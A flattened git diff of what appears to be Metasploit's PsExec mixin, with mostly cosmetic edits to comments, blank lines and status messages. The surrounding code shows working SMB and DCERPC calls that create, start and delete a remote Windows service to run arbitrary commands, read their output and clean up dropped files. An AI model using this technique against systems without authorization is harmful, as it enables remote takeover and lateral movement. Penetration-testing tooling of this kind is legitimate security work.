diff --git a/lib/msf/core/exploit/psexec.rb b/lib/msf/core/exploit/psexec.rb index b10e1453f3..b4292004da 100644 --- a/lib/msf/core/exploit/psexec.rb +++ b/lib/msf/core/exploit/psexec.rb @@ -13,6 +13,7 @@ module Exploit::Remote::Psexec include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::SMB + # Retrives output from the executed command # @param smbshare [String] The SMBshare to connect to. Usually C$ # @param ip [IP Address] Remote Host to Connect To @@ -21,7 +22,6 @@ module Exploit::Remote::Psexec # @return output or nil if fails def get_output(smbshare, ip, file) begin - print_status("Getting the command output...") simple.connect("\\\\#{ip}\\#{smbshare}") outfile = simple.open(file, 'ro') output = outfile.read @@ -42,14 +42,11 @@ module Exploit::Remote::Psexec # @param command [String] Should be a valid windows command # @return true if everything wen't well def psexec(command) - simple.connect("\\\\#{datastore['RHOST']}\\IPC$") - handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"]) vprint_status("#{peer} - Binding to #{handle} ...") dcerpc_bind(handle) vprint_status("#{peer} - Bound to #{handle} ...") - vprint_status("#{peer} - Obtaining a service manager handle...") scm_handle = nil stubdata = @@ -63,16 +60,13 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - servicename = Rex::Text.rand_text_alpha(11) displayname = Rex::Text.rand_text_alpha(16) holdhandle = scm_handle svc_handle = nil svc_status = nil - stubdata = scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) + - NDR.long(0x0F01FF) + # Access: MAX NDR.long(0x00000110) + # Type: Interactive, Own process NDR.long(0x00000003) + # Start: Demand @@ -96,18 +90,15 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception end - vprint_status("#{peer} - Opening service...") begin stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF) - response = dcerpc.call(0x10, stubdata) if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil svc_handle = dcerpc.last_response.stub_data[0,20] @@ -116,7 +107,6 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - vprint_status("#{peer} - Starting the service...") stubdata = svc_handle + NDR.long(0) + NDR.long(0) @@ -128,7 +118,6 @@ module Exploit::Remote::Psexec print_error("#{peer} - Error: #{e}") return false end - vprint_status("#{peer} - Removing the service...") stubdata = svc_handle @@ -139,19 +128,18 @@ module Exploit::Remote::Psexec rescue ::Exception => e print_error("#{peer} - Error: #{e}") end - vprint_status("#{peer} - Closing service handle...") begin response = dcerpc.call(0x0, svc_handle) rescue ::Exception => e print_error("#{peer} - Error: #{e}") end - select(nil, nil, nil, 1.0) simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$") return true end + # This method is called by file_dropper to remove files droped # By your module # @@ -166,6 +154,7 @@ module Exploit::Remote::Psexec psexec(delete) end + # This method stores files in an Instance array # The files are then deleted from the remote host once # the cleanup_after method is called @@ -178,6 +167,7 @@ module Exploit::Remote::Psexec @dropped_files += file end + # This method removes any files that were dropped on the remote system # and marked with the register_file_for_cleanup method def cleanup_after